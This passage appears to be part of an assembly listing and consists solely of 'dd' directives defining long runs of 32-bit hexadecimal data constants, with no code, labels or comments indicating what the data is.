		dd 0EE2D845h, 0B00DFC4Bh, 81DBAA20h, 401D417Eh,	5E05F1C8h
		dd 93C0D04Eh, 6FCA5Ch, 720ED3C5h, 65629D60h, 0BE13700h
		dd 0C2AD7E4Dh, 18164C93h, 0EFDD0101h, 0F4605A36h, 0DBE428E7h
		dd 15ADA11Eh, 54FDFAC0h, 0B71AF4h, 72BDDBEh, 0ABB0C143h
		dd 0CFC4B903h, 0C0F1A7E1h, 7BA17FA6h, 158A0019h, 89070521h
		dd 0F3012BC9h, 780F62F6h, 1BC19DFFh, 0F27433D4h, 0E7660794h
		dd 9ED59648h, 872F914Fh, 0F31B7A80h, 6600F69Fh,	3B2EAEE0h
		dd 77C5BFA5h, 38720046h, 0DE9AB0FEh, 510FC04Fh,	62A0B7h
		dd 0C1D4E85Dh, 278800F5h, 0A14D49A9h, 0F2004E92h, 0DA7E2918h
		dd 29E2D561h, 0B0C0F1h,	0F8D021C3h, 640173D7h, 0E31DBD2Bh
		dd 2824C632h, 0D20B0098h, 0D85DB670h, 0A21EFE9Bh, 770ED0D6h
		dd 8DF28047h, 0F4FD5Ch,	1B86D7A6h, 0AFB5855Eh, 146DEB17h
		dd 0C8BD7400h, 1F367035h, 25DEA61h, 0CDCE7A77h,	982CECA3h
		dd 4C5AB1B2h, 8BC6A00h,	0C4FBE22h, 0EB9C31F8h, 9FC8E408h
		dd 0B00B420h, 5E12A5B8h, 439605EDh, 4D7B6Dh, 99506697h
		dd 0E598F135h, 6AAFA50Ch, 1F3018ADh, 1E42405h, 45F46337h
		dd 0E94C24B5h, 1C528539h, 4440BDC7h, 89AEED26h,	206160FCh
		dd 0EAB6D2DFh, 62976300h, 5B8D1815h, 9C820FBFh,	0A4236FCDh
		dd 0F290F3AFh, 0F950B22Dh, 73008680h, 871439C7h, 64CF8Dh
		dd 59E90568h, 0A9D1FF44h, 43B9BB1Dh, 0E68B50C0h, 0FCDF9135h
		dd 1C18000Ch, 0BAD37A4Eh, 1F00DCF4h, 0B58E5FFBh, 5B1BBD9h
		dd 0C266A74Fh, 2C918033h, 7C003CA2h, 0FD17981Fh, 0F40EDDh
		dd 0B9DA884Eh, 1E6D967Fh, 0CDF8A47Dh, 43103803h, 0D0D09D2Eh
		dd 1E685036h, 1E5E54D3h, 0CB0DC053h, 3F7EC543h,	6C6371E8h
		dd 88C4F620h, 0E4DCC2E9h, 0B1411D96h, 0A0668073h, 7130B4EEh
		dd 0ABA0C67Eh, 2A73B368h, 5573F100h, 0E15D2E18h, 0C0FFE816h
		dd 65121C21h, 41003E89h, 0DDA904EEh, 0CA66F6Eh,	43CF96D5h
		dd 70CD329h, 10EB1E24h,	0BE4A3C9Fh, 0F7DD6F01h,	89A9DE7Ch
		dd 86E7F8D8h, 29E6DFh, 6F76E988h, 90A059FEh, 8CCA531h
		dd 2080E789h, 827F5E92h, 0E301AEEBh, 97085987h,	9CDC6286h
		dd 0DB3B3020h, 4A76C858h, 0A67A7400h, 0CA75C532h, 0B6F8C20Ah
		dd 78909630h, 567A659Dh, 8016DD21h, 68434969h, 600C513h
		dd 0E3D4BDB4h, 0F7E7F9h, 2427FB1Ch, 5BF1DFA4h, 4BB4DC00h
		dd 0F3308349h, 0BBE1007Ch, 0A7EB80E6h, 8F073BF9h, 12E3F1E0h
		dd 0D579660h, 0C9E50E41h, 0DE800F2Ah, 73FE8539h, 0D1F88300h
		dd 0E21E7E06h, 0D970360h, 82FD1890h, 0DE2D0B88h, 7C045C01h
		dd 0C4FA86D4h, 0DCB070h, 49D31443h, 0AD1336EAh,	0BD207C01h
		dd 0D2B78B8Ch, 0D99370h, 0E18EE9C1h, 0C5E0DE2Ah, 76A4D3Ch
		dd 0F63221B9h, 7CAA8F90h, 22FF009Fh, 47F1DB3Dh,	1F00C145h
		dd 0BF3146DAh, 0F0FDC2EDh, 0A72A074Fh, 0D3228E30h, 6AC0C5B2h
		dd 84003DC6h, 2F7B96A5h, 64D3B4A1h, 0FADB0830h,	0EFBAEC80h
		dd 0BD351F51h, 254E0046h, 30C80A82h, 31EA541Fh,	968FF181h
		dd 1080E0BBh, 129FE6ACh, 3207472Fh, 0EBC142CFh,	988EF4C0h
		dd 24D9075Ch, 0E0DD3B18h, 7D25C76Dh, 69AEF300h,	0E86853AFh
		dd 32EC74h, 0AA8616D6h,	3FD4F7B3h, 0C254A200h, 5A1DBF0Ch
		dd 0AEA817ABh, 9EB40380h, 10C03526h, 2700015Bh,	735EA2B1h
		dd 8D850Eh, 218C417Fh, 0C249894Ch, 0DA6ECA24h, 0FA87CB00h
		dd 1816D5E5h, 0E0CD2ADAh, 0AF2A82B4h, 0D026A0BAh, 0F9001BBEh
		dd 62C7A432h, 64DB39B5h, 0BB05580h, 0EFEA53E5h,	4C00D3EEh
		dd 0E3E2FD52h, 3D2340DAh, 5C008AF9h, 1C2D4B3Fh,	3B5A3A76h
		dd 19F061B1h, 3953E0F7h, 0A000D1EBh, 0FFCF2F0Dh, 1F0015FEh
		dd 35D7EC78h, 719463h, 0A26B5674h, 15FB4797h, 7F00507Fh
		dd 439931AFh, 3777D257h, 403821EBh, 0A8A70D14h,	0C730CF00h
		dd 0A520DEF0h, 3F507A3Dh, 8D003B11h, 0C941C545h, 0DF01F613h
		dd 53610510h, 0BDF0DC1Ah, 0A8CF014Fh, 952074D6h, 0C72DECE3h
		dd 6D888500h, 0D33357F1h, 0C03E62Fh, 23BEBC16h,	0A700D879h
		dd 0AAC5FCBFh, 0EEAF1D82h, 0D0EC01h, 8669DF0Eh,	1F14F215h
		dd 0A1091B00h, 622076F8h, 0E9100366h, 0D6403CA6h, 3B7856D8h
		dd 5A632900h, 87025230h, 96280036h, 84704BB9h, 0EC012281h
		dd 912EBD49h, 94E435D6h, 0C563001Ah, 0A6FBD9E3h, 347E433Bh
		dd 0B4914A0Eh, 39EE2042h, 72E80780h, 0B01650F0h, 0EBA300EFh
		dd 0B038F771h, 0D3066F12h
		dd 521C2234h, 4E660650h, 110451B1h, 7FDF1058h, 0EB9ECB1Fh
		dd 0FE74FE28h, 20C0B476h, 93D024B1h, 6870058h, 0CF3BAF7Ah
		dd 29305612h, 0CC3AD15Eh, 0EF880331h, 0A796FC7Fh, 50A1D2D3h
		dd 67208063h, 232031E5h, 0C0A1C6Fh, 0CF6BC7BEh,	1073304Eh
		dd 0A03E6811h, 1A05FE83h, 0A6B44464h, 1210342Fh, 0C0F3CF5Ch
		dd 0C6F1A394h, 0E91600EEh, 57B5F0E7h, 680C1424h, 60F9FC67h
		dd 0DF550044h, 59D8B80Ah, 0B4007BF4h, 5484C71Ah, 0FDE8CE48h
		dd 272070E5h, 41F60730h, 50E6470Ch, 0D4FC2AB5h,	75D5A900h
		dd 9B65BC0Eh, 5CD0009Fh, 0C4AC50FBh, 3601DB3Ah,	0E2B70F88h
		dd 7CF402BAh, 87BC0153h, 99423003h, 0D1B0F737h,	5E3D6AEAh
		dd 8BDD80B7h, 536BA226h, 0FF450023h, 0F99AF4E6h, 7876F2B5h
		dd 11F1900h, 84EFBF7h, 0EE441CEAh, 0D7C900AEh, 125E2C22h
		dd 15A36300h, 0C6D16DD8h, 90B000EFh, 9F56139Bh,	103D6232h
		dd 7B5C85EBh, 0CF434991h, 88186A8Ah, 755714Ch, 9AF81EFBh
		dd 5B4DF024h, 0B507C077h, 0BA500D1Ah, 849457B0h, 3A9C3A04h
		dd 42925181h, 806820D6h, 0B588DB18h, 0E03D934h,	0B3797ACBh
		dd 36C34E60h, 0B3A0FEE4h, 780FA868h, 3FF3340h, 0D0D5DA60h
		dd 9AE498h, 0DCD46704h,	4E74E52Eh, 5B005379h, 13332054h
		dd 5E23A6Fh, 0BFD03F64h, 0AE16CBh, 97BB122Ah, 0B603F249h
		dd 61AE147Ch, 5A058011h, 286B00D3h, 0B02A6ECEh,	49129283h
		dd 0BB001BEEh, 0D89FF86Ah, 0EAE30070h, 91482F06h, 1600B69Ch
		dd 231FC582h, 527F9Fh, 4B5BBCF5h, 9EDF3804h, 5A98D100h
		dd 0F30A7CFAh, 74CC76F2h, 6EC030ECh, 101B7F20h,	916F5701h
		dd 5ED2BD0Ch, 43BD70h, 77C0FD97h, 1A0B60D3h, 7321E400h
		dd 9EDCF703h, 7F370371h, 0C0CA36ACh, 0EEBA8FF8h, 1895963Ah
		dd 0E4209F19h, 36380076h, 2DCCD7BBh, 4FFC33DBh,	0DA310F00h
		dd 0DF6CAAA9h, 0F350CA84h, 1621565Ch, 2200BE6Dh, 7071F9EFh
		dd 0A5005B6Ah, 5EF511DDh, 1B4681E2h, 0B1F2F1D7h, 0FB5288A8h
		dd 0CCBDF400h, 0F8651AF0h, 509B63A2h, 0C4A00D71h, 0DD60B35Dh
		dd 0E5B51710h, 803C019Ch, 86795805h, 8054D110h,	81784531h
		dd 0EA2A0DEh, 0A1AEED7Ch, 395B61C0h, 82003024h,	21AF7246h
		dd 0A3F995Dh, 0F2B3B0E2h, 5921BCA4h, 9DFEA080h,	8694BAC0h
		dd 704DAF00h, 39D4B037h, 0CFE70027h, 4306906h, 0FC0097DCh
		dd 4EE48B2Bh, 34F1A28h,	2CFE6C63h, 0C0975019h, 0EA1C1068h
		dd 0C81B4A2h, 0F3722894h, 2E801000h, 36EEA99Fh,	4F3F0006h
		dd 0DE4C44BDh, 192C16BEh, 0D077B2Bh, 1E709C28h,	0CA61DDh
		dd 31C74EB5h, 371612E6h, 0C400DB73h, 0C30F1FD2h, 9E60A1h
		dd 8A3AC1A0h, 247A6990h, 80B36A01h, 9344F2E1h, 9FF19131h
		dd 0BDF4F0F1h, 1DD500ADh, 3414D9C2h, 8FEE03CFh,	0E5C89A00h
		dd 845D03Ch, 2EAE03BAh,	540268E0h, 80E892F9h, 0AC3D3AFEh
		dd 0E60F3CFh, 0A05E443Eh, 1DF73820h, 77633F5h, 69E49100h
		dd 0EF316AABh, 1ACA008Bh, 130CF968h, 51E6EA5Ch,	5F0CBC98h
		dd 103D826Eh, 5804A7A7h, 5C3E7E88h, 89320052h, 3AC0B326h
		dd 0D6E047h, 796A7313h,	31D4EEF3h, 44DD2B1Ch, 4DCA4A80h
		dd 0F1D66Fh, 8E0DC5A6h,	0AC96C94Eh, 57649C00h, 824A23E5h
		dd 0A8B10071h, 10E7B68h, 84003D4Dh, 0D6D453Fh, 2D995Eh
		dd 0AD349AAEh, 0D2F3F7BAh, 0F8088A00h, 6C80E32Bh, 0FFB3077Eh
		dd 104E64D9h, 698C8ED7h, 900078E8h, 0B8711F0Bh,	0A3F3C8h
		dd 40354473h, 0AA4BFDFFh, 807EB23Eh, 6088BB3Eh,	0EDF0282h
		dd 2F3FF8A7h, 65019D20h, 0E472749Ah, 0EBC55B07h, 69206ED7h
		dd 73F30ADh, 0F4F0EE7Ah, 5DCA2046h, 0E416E615h,	0F50E488Fh
		dd 946A005Fh, 93B02Bh, 1098996Fh, 63231626h, 0D503B30Fh
		dd 287720BEh, 93C67Bh, 49A4418Ch, 8F9C785Eh, 25AD5200h
		dd 0F4DB439Eh, 5F5000DDh, 0A285BF87h, 8950ABFAh, 21002BD0h
		dd 6F1A4BDh, 7FD5CB2h, 0BBECFFA3h, 0ADA5F0F3h, 8C005605h
		dd 2B29D97Fh, 37D6B26Dh, 0D0119337h, 0A7A33C11h, 53FE88h
		dd 2F617731h, 1D9D892Ch, 0D78EC401h, 0A1E6D073h, 0C9557980h
		dd 61FB5899h, 97ED0D07h, 6230E4F4h, 1BA96ADh, 0EC538C82h
		dd 0D08ED4D5h, 0E800EB4Bh, 0C1A2992Fh, 18C6FD80h, 2FB273Fh
		dd 0B8007374h, 9B813B72h, 0F234E6h, 0DB75525Ah,	0D393E4C9h
		dd 0BA3AC7B0h, 1D3000F4h, 4CA59CF2h, 9EEF1FE2h,	127C00DCh
		dd 0C5CE16C8h, 0E93EDE05h, 5BC110DFh, 0BF204441h, 37DCE128h
		dd 729600EDh, 297A795Ah, 260F7B7Dh, 0FE109183h,	0CEBC8280h
		dd 936C031h, 0F8AFC11Ah, 80C28820h, 0DC000A8Ch,	0F718D4A1h
		dd 1299D39h, 0F594AEA6h, 0C8472865h, 0E700E8CFh, 0AE4DDBAh
		dd 38D8554h, 1ADADFC2h,	2FF0473Ch, 0F37F5398h, 0B3DD9A00h
		dd 0FEFD7238h, 5E8800BEh, 64E61E0Bh, 2003ABDh, 2FB23C29h
		dd 8B18F6h, 96E1B1Fh, 179A3E70h, 0AD46949h, 94E52A27h
		dd 1CCC1480h, 36F871h, 0ED2052C4h, 0E8678F4Ch, 2A393700h
		dd 2B1EDEFEh, 0E08B16FDh, 8F240023h, 0BB2E109Bh, 0BC56BD00h
		dd 4A7049F6h, 520F4F3h,	6B14AFC8h, 7E900B74h, 80A9E081h
		dd 16BAC85Dh, 0DB53E903h, 0D87F3A3Fh, 0A5797Dh,	8C5EEEEFh
		dd 114FF523h, 0D778C900h, 0E005E17Fh, 0CA15000Fh, 0ED0AF494h
		dd 2100CF55h, 69E82853h, 35FA7Fh, 4901E5E6h, 0D5C1B01Bh
		dd 0C4D01328h, 0F9B61C01h, 0AA4C7E58h, 0F07655D8h, 93970B94h
		dd 4E007837h, 0D5098DD1h, 85C1CC00h, 0DDD8C58Ch, 151A0069h
		dd 0B9A5F6B5h, 0A00034Bh, 0C618B0C4h, 0BE648Ah,	0AB74CB61h
		dd 0CFDAD5Ch, 95A2DC00h, 354F039Ch, 549100C5h, 0FC2C0FF9h
		dd 960020BCh, 9BB397D6h, 9E3A0Dh, 0C1E45236h, 0EEAAD1D8h
		dd 0EA77810Eh, 4BE614DEh, 3A0326F0h, 9C03FD20h,	0B67D6176h
		dd 0E68E82E0h, 1A5C3E00h, 23D37138h, 649100A4h,	0EB2C7311h
		dd 9005AB3h, 0B0F42B44h, 0E696F46h, 27FE9CC9h, 800EF6C5h
		dd 0EB1AADC0h, 0F1B34A2Eh, 93001612h, 0AF5FFF9h, 520400ECh
		dd 83E118C6h, 3D00E913h, 53889959h, 58EBFh, 0C02B5C66h
		dd 3B86B901h, 0F2FC540Fh, 0AB87E0E5h, 0D040Bh, 0A1D1B7F3h
		dd 1BEB61DCh, 304B2D00h, 5192E6B3h, 0A36E00F4h,	0A1D0B1A2h
		dd 7F04E178h, 1F352840h, 236A8EC0h, 0D3BE006Ch,	0B4250432h
		dd 30242127h, 408064C4h, 0AEACB047h, 7916F688h,	98D600EAh
		dd 59C6F7Eh, 0D072566Bh, 5890A407h, 0E180675Eh,	0FE6D63h
		dd 45F839ECh, 0E26AC4B7h, 7A85C700h, 5691243Ch,	39ED0005h
		dd 3A5B2CCEh, 82079EB2h, 0EE08DBD3h, 4E7852C0h,	770400B7h
		dd 69CD1BBFh, 0FF07BC0Eh, 1D7F21ABh, 85718100h,	0C92A0087h
		dd 88383FBEh, 0F40D0406h, 0C09E7D36h, 58002F0h,	34BB268Bh
		dd 0ADA8003Ch, 0F79C91A9h, 0DD9D3501h, 0D2685876h, 33C6D70h
		dd 856437F6h, 0AE927ADFh, 3CB9480h, 0C00A853h, 3DD55EA5h
		dd 1AC85Ch, 0BA307C47h,	0B09BAF10h, 0E7FC617Bh,	4D3762F8h
		dd 0CFC08438h, 0E3DDB2h, 0A0D7327Dh, 75A87645h,	80C4EE3Dh
		dd 1F9C50F0h, 713ED4Fh,	0CCAD5522h, 6C128062h, 0A000288Ah
		dd 0DC729220h, 7887B852h, 0A36F0276h, 4574892Fh, 5EDAE760h
		dd 86999000h, 59EDCD56h, 11F9004Dh, 0C4D22F18h,	3E00AC9Fh
		dd 50EC98CBh, 862B04h, 81DFD974h, 410A42E6h, 97240900h
		dd 0DA2E7FDEh, 580D0116h, 0D8885C70h, 644D3496h, 0F685F106h
		dd 2E487h, 1B7DA67Fh
		dd 0B65E47EBh, 15003D7Dh, 79A413E3h, 0D9BEB7h, 8F4AF984h
		dd 0BB350AF8h, 37285600h, 308D7624h, 36AA0074h,	5E0B83C1h
		dd 0B802B06Fh, 59201E06h, 87306015h, 0C9B60037h, 63408FB2h
		dd 4101F6D6h, 0D7956C17h, 0A2F46811h, 4D4700B6h, 613C3A0Ch
		dd 76001B44h, 0C83654C3h, 3C6F45E2h, 5D00B1D7h,	7B8A8740h
		dd 8E7C123Dh, 701F13EEh, 0ACEE974Fh, 687C003Eh,	894D24CFh
		dd 7AB98F7h, 0CB5313CEh, 4A5C9391h, 0E72803E7h,	0F140C788h
		dd 6C0BCF04h, 0A0AA1Dh,	0E4A81E22h, 50244373h, 79996A2Eh
		dd 1261835Ah, 166C6FD6h, 1E3FCF58h, 0E8DAC068h,	67A5BF61h
		dd 746E8803h, 0E5807883h, 69147890h, 61DF6Ch, 0FC34DC01h
		dd 0E403ABEBh, 26949348h, 217CA3h, 0D760E770h, 0EF32D16Fh
		dd 5B735500h, 3F28E214h, 5AD30084h, 1DB6D9ADh, 0CA03B5B0h
		dd 298D4264h, 2D5C9961h, 0A8C019E5h, 0DD430320h, 0B12C3D17h
		dd 0F3F4B7E0h, 0D23EFD00h, 0F645FF76h, 0A4F888h, 577EB4DCh
		dd 74365672h, 7AA32803h, 0A0FAC147h, 9B563EBh, 2E3E6D61h
		dd 0D61E30A0h, 7C941546h, 3EC51AF8h, 5700CC7Ah,	390B9946h
		dd 6700DCEEh, 9C1064A6h, 0EF4E1Ah, 7DDEDFF2h, 0D26C1974h
		dd 5FEDE500h, 835CA598h, 0B2EC00E6h, 0E8C32EEEh, 920E47A3h
		dd 877C8F32h, 41500B36h, 4DA8C9h, 0E862F768h, 0FE329EDh
		dd 0FEA2572Fh, 418E00E4h, 2A1B851Dh, 30D24426h,	7D7C3800h
		dd 849B95h, 3B093696h, 1C8114CBh, 51875F00h, 161E6119h
		dd 89C50929h, 7FA6D0h, 0BE25AF6Ah, 35650080h, 0BD2831FDh
		dd 50008D4h, 7479158Ch,	0F6F34BA5h, 1E689227h, 4138376Eh
		dd 0A893DD1Bh, 4F5660CEh, 4D42B701h, 56370C66h,	0A6307EEDh
		dd 21530023h, 0E4E18817h, 0C8E75B71h, 280EED99h, 20F813F7h
		dd 0A4D1B80Ch, 0AE2F00FFh, 0F9D7CD3Dh, 0A8E863BEh, 0F15C600Fh
		dd 0BD292036h, 4134D0h,	0F617AEB0h, 0F2F06833h,	6C55BF07h
		dd 0EEC3AD06h, 8FEFF82Ah, 3B5F00A5h, 0FA849D79h, 0E20044DDh
		dd 1E2CB95Bh, 7EAC0h, 999F2D55h, 18F094Ch, 65FD170Bh, 0EB1484F6h
		dd 0E1BF8C90h, 0D23D0059h, 0A0807444h, 8200CA85h, 0BC8638Ch
		dd 4F1EED4h, 2BDE2145h,	72188001h, 4C011E57h, 0A8DB1739h
		dd 530E4C2h, 0F5D605CFh, 0D031D9h, 0B30535E4h, 0A60063CEh
		dd 0F8651D58h, 0F5FB182h, 958A5014h, 7AFCDEC0h,	6E006D7Bh
		dd 806FC99Bh, 12E29E3Dh, 80C8654Dh, 0C3EB3A88h,	46C2200Fh
		dd 34D3A083h, 858C12h, 0B1D017B7h, 80B9B10h, 3365AD00h
		dd 21D52A4Eh, 8AF00054h, 11ABB787h, 6B00444Bh, 0DFE6F1B9h
		dd 0EE8D13h, 372B38FDh,	4F5A8E68h, 1CAC0503h, 0F301957Bh
		dd 285603A0h, 0DEF4A3FAh, 0E129BE90h, 1F93139h,	0F21C45FEh
		dd 46608713h, 5206007Eh, 91C772F7h, 0F30088E1h,	0CA97820Fh
		dd 1CD11805h, 0D79E2674h, 87FC20BFh, 5A4C89B2h,	202800CBh
		dd 94FC8246h, 5B9800F4h, 0B1E7F7E1h, 0A9A10422h, 78FBD060h
		dd 0C49DA100h, 0F067C335h, 3673070Eh, 0E9BC1F9Ah, 0C64FE802h
		dd 46002458h, 5F8E357Bh, 5BA536h, 68A8B8F4h, 452B1B55h
		dd 4C3E8100h, 0AAD4477h, 0AE66074Eh, 419975F8h,	0FB358E5Fh
		dd 0BEEFA800h, 3944B8ADh, 0B7C113B0h, 0A7180A92h, 0D8502EE4h
		dd 6D3F3B57h, 23E980EBh, 0EA84FA88h, 0F5642E68h, 8D30128h
		dd 0E0F32C1Eh, 50147173h, 1F8DE3C8h, 2A80CA33h,	0FDADBA9Fh
		dd 0C39C0FD6h, 0A4A00C5Dh, 19FC7364h, 38F40E7Dh, 0EC0FBF00h
		dd 0A1C7C94Eh, 0E45E0FEAh, 0CA609920h, 875D1922h, 90E0B900h
		dd 12F6D51Bh, 7F5A0F21h, 1EC08904h, 424C638Eh, 32512500h
		dd 48F9E2BBh, 72E4DAh, 74CA3727h, 6D581ADBh, 528ED600h
		dd 92E09859h, 36B0FCh, 2624F568h, 0E8A42E94h, 51D00E01h
		dd 83E0DFC4h, 60BFB230h, 3A17C8C2h, 0FC394282h,	0E8BCD8h
		dd 0F31D3735h, 0F13E2EDh, 0CA180E7Ah, 0E168809Eh, 3D8B14E8h
		dd 1EDD273Ah, 20008895h, 0B1FD9E37h, 1A8F00EAh,	0BD734446h
		dd 0B6001957h, 5BBABB94h, 0BAE343BFh, 88060024h, 0D45335Ah
		dd 0AC9EACFCh, 1EF7A100h, 0D7256Ch, 0A19F918h, 333E26E1h
		dd 3000FCB8h, 0F41CA4E9h, 451854h, 0EEA16A29h, 5924186h
		dd 0BBC2B600h, 7F6C4C09h, 9FA8007Ah, 26DAC7E5h,	7617E497h
		dd 7A004632h, 1750FE60h, 52273F84h, 25B28C03h, 75B0DB08h
		dd 713A37CCh, 0F9340E54h, 0D8D0C00Fh, 0F83A8D7Fh, 3B120ECBh
		dd 36014EF2h, 38DA8211h, 0E9BF0054h, 6BDEFC56h,	1C41003Ah
		dd 6FA6023Bh, 29018718h, 0CFAEA3Ch, 53DCC278h, 0FE9498DAh
		dd 0A28900D3h, 0EED212BEh, 0A474B424h, 16C0640Fh, 0E99760A9h
		dd 12046721h, 0EBEF26BAh, 0E8E52300h, 8DF141h, 978FB564h
		dd 54866C37h, 81247500h, 5F5ADE56h, 2C230BDCh, 7900523Ah
		dd 58ECCA2Ah, 0EF648201h, 0E008DD12h, 0FCFC5CF1h, 0E4C379B4h
		dd 531F00DAh, 0F6A48068h, 0B100E6B6h, 3552AE61h, 122077E8h
		dd 1C267989h, 9E670065h, 0C77BF08Ch, 5E324200h,	3F217A56h
		dd 8AA80119h, 64A56B62h, 8994408Ch, 0CA009C39h,	45610997h
		dd 729D43E8h, 0ABF903ACh, 0C2C723FBh, 0D967209Fh, 0E800B805h
		dd 813072E0h, 324B59h, 7A2549E3h, 0A7C16C39h, 0B8521F00h
		dd 10C063E7h, 8C9C0577h, 803E3005h, 0FBA1CE89h,	8044085Ch
		dd 923C0F37h, 0B8EE036Dh, 7EAB5DA0h, 0C8C78AC8h, 531B0100h
		dd 5C1C3B0Eh, 32941D23h, 332C80E6h, 248BB261h, 0AE5D6006h
		dd 584DC93h, 0AAEA2B0Ah, 6AF0C85Ch, 79767217h, 5955DC00h
		dd 4A9D256Fh, 0F644078Dh, 0AF81CE70h, 115D50A2h, 84621EAAh
		dd 0A61D3E00h, 40952865h, 67489D03h, 0F0FA8709h, 79A80662h
		dd 0B477009Ch, 0CB63688Eh, 500EE3D0h, 201C9B81h, 729A51E0h
		dd 3F757ABFh, 0F9A6CEEFh, 80D704C1h, 34BB8003h,	0CD5DAD77h
		dd 6F2B00BCh, 3867B148h, 3E2806F6h, 284263DBh, 0C447D403h
		dd 25CC07AAh, 0A01050A1h, 6D0E0F60h, 80F724D1h,	0B01A15EDh
		dd 54F4BA4Ah, 1DFF1410h, 32D170h, 285B7312h, 0B004D8Dh
		dd 3F1D7183h, 0A63578h,	0DD865E38h, 1D89258h, 0CBEF8200h
		dd 0C17854DBh, 97FE45h,	6034E6FFh, 2E829392h, 24FAAA00h
		dd 7345E9DFh, 337F0449h, 0C0584322h, 23185BC8h,	6B1B6107h
		dd 0E470E8C8h, 48AC5AEh, 0D37BD0B1h, 6A40C05Fh,	47006478h
		dd 0D2C84B33h, 1DA104h,	0DCFEDAC6h, 0A88CD683h,	0AAC20A05h
		dd 90006362h, 0D346A313h, 12A3CC6h, 0E0CCA605h,	0F19400B7h
		dd 6C222DC7h, 0A8C9B900h, 0E33D8991h, 5D9700E6h, 9051CEEDh
		dd 2200230Ch, 0CCAED5B4h, 48216877h, 9800E40Dh,	61792DEh
		dd 0D4A9A532h, 2C51710Eh, 0FA220078h, 0A6584A0Bh, 70F84914h
		dd 9862F407h, 8E40077h,	19030FB4h, 0F555BA17h, 9EACB8A8h
		dd 90BF00B6h, 2452B37Ah, 81751ABEh, 66FCD4A0h, 0F7485060h
		dd 5663EDh, 3BA40711h, 0F31C35AAh, 0BE489DCh, 0F86D500Dh
		dd 0D768309Eh, 575C929Bh, 745C0048h, 36103703h,	7116F73h
		dd 3963A921h, 0B7AEC0F1h, 0E00A6C1h, 0B0A41AD9h, 76886154h
		dd 214D00E2h, 40891C58h, 3F004306h, 0F9FB1725h,	7138C1h
		dd 557B4EC5h, 8E0DE0DEh, 1ABCDA0Fh, 0AA041476h,	480079B8h
		dd 0F7744735h, 7D89AA8Ch, 4E90FCh, 0B06D3C38h, 0BE3A3D2Ah
		dd 300006E2h, 0A4407078h, 7D803789h, 35202761h,	4296D640h
		dd 38CFED00h, 34CEC3F3h, 0AECA0046h, 0E8AFB448h, 0EA017258h
		dd 0D945E571h
		dd 0B0F0CBC7h, 1ABA007Dh, 3F064F9Eh, 8F02BF54h,	101CC127h
		dd 61809F43h, 80147D79h, 0A157AE10h, 264585h, 2B68BA5Ch
		dd 0F2FB2EEh, 9B79CF07h, 0E4711CA7h, 298457C9h,	2A34D98h
		dd 206934Ch, 1A229C37h,	0DC842155h, 8B110191h, 1DECA310h
		dd 88A23B80h, 5100E7C0h, 10DEEEB5h, 7279D0A5h, 221F405Fh
		dd 30907B20h, 0E551C42Ch, 28DD0977h, 6B7978D8h,	2829CB7Ah
		dd 1B50BF8Ch, 50A33F20h, 0F3093C87h, 845D9411h,	0A99CE529h
		dd 9040F308h, 183F4986h, 79D15026h, 0AA40596Ah,	29BB61EFh
		dd 88FF391Bh, 8C40FC50h, 0BBA15CF6h, 32412201h,	16C857E4h
		dd 0F1B801h, 1EE6D186h,	60366Ah, 963338AAh, 2C03CD4Dh
		dd 0D5E025F2h, 90EEA8E5h, 0F87400C0h, 8CB55EBFh, 21F0DDE4h
		dd 168E2600h, 0B13D71Eh, 31150373h, 0B17B6E0Ah,	417F40CFh
		dd 4C1E9A74h, 837A663Dh, 9C9441Fh, 88EAF09Dh, 0DDF80095h
		dd 0F91019B5h, 0E01DB486h, 40002EABh, 0C9EE43B8h, 0C850010Ah
		dd 0A4BDB730h, 0FC67F902h, 0DB00E142h, 0E484A74h, 0AFFA09h
		dd 0B0E3B331h, 2DEDB55Dh, 0A7CF700h, 3649FE2Eh,	0F5E40047h
		dd 83F06ED8h, 7E00BC02h, 1012092Ah, 0EA2159C1h,	46B3002Eh
		dd 74B00758h, 3100750Fh, 607C8F43h, 9A6B79A1h, 0D071E4h
		dd 61AA3734h, 0F9BED5F1h, 0A4FC5407h, 0BCB015CEh, 0F0F1BEFh
		dd 5C4CACBAh, 0D6DBBFE0h, 0FCE58CBDh, 8D005A15h, 12CB729Fh
		dd 0F250853h, 0DD2AA2A3h, 3C671CE0h, 18000392h,	0D264C3B9h
		dd 9B5EF0h, 9F066117h, 7396AC97h, 50151E0Eh, 38E6E042h
		dd 0C61466h, 0D4E87C88h, 82896491h, 27D86100h, 1EFAE6E1h
		dd 9FEE00CFh, 4F3454F3h, 6601EFEDh, 1F1B118Dh, 61D806FAh
		dd 0EC4603FEh, 0D46A2FDBh, 10F80AA8h, 732B0D00h, 7233043Fh
		dd 0B45306B7h, 28CF8471h, 0B8E019E4h, 3EA9FE00h, 3848CB5Dh
		dd 0A6F40025h, 6C2A32D0h, 3C02BA95h, 9AAD14E9h,	0AFF34007h
		dd 507272h, 1898AB84h, 7ED85709h, 170E753Ch, 0CB001569h
		dd 26C37DD4h, 0BA97003Dh, 0DFF9FE50h, 0EA02C734h, 0FCAE4619h
		dd 0AC9E8016h, 7221270h, 42260238h, 0F2FD139Dh,	0F45E28A0h
		dd 70A48000h, 69457339h, 4846008Ah, 0A00C58ADh,	1C00D995h
		dd 89B8E98Fh, 0B5F1A83h, 0FF12B744h, 2B0F7880h,	780788A3h
		dd 0F177DBB8h, 33020520h, 418C0039h, 8B3A99Bh, 95F0C2E5h
		dd 1D833209h, 0BE038020h, 0E3662FFh, 633BBFCBh,	54E7F360h
		dd 0E900DF92h, 5C4BE293h, 1D3649Ah, 0F4CC694Fh,	0F07EDD08h
		dd 81290266h, 4200C8F8h, 19BCD648h, 5E640030h, 9D106859h
		dd 3F3FC6ACh, 0D101F23Bh, 0BFD693F8h, 0BC409825h, 3B5B626Dh
		dd 53008CB6h, 360C0971h, 0A438018Dh, 0F35E809Fh, 0FAF9C5A8h
		dd 6EE30E58h, 49A04C1Dh, 39174A03h, 1E8A4000h, 1CFC6730h
		dd 38013F6Eh, 0FA6AE700h, 0C44BBBC2h, 2BE37400h, 0EBA173CDh
		dd 0F7C11E15h, 0D4770052h, 6DBCE519h, 13329200h, 9BE75D73h
		dd 0F6AD0756h, 0AF76B8CAh, 9899A6A2h, 8D2FB440h, 81B7B200h
		dd 5B86143Ch, 8319005Eh, 0E1575F26h, 75002B32h,	0BBBD449Fh
		dd 346B90h, 0FD921A6Eh,	0DC3340C8h, 66B86500h, 68C93219h
		dd 34ED004Eh, 3863D10Ch, 7003C688h, 0BD67ADAh, 0C3EBF18Dh
		dd 0E61BE140h, 0C63C00CCh, 0AC14F12Ch, 43007A0Dh, 0AE7378C1h
		dd 0EF6BEEh, 0AA51F205h, 37591EA6h, 11036500h, 25063EB0h
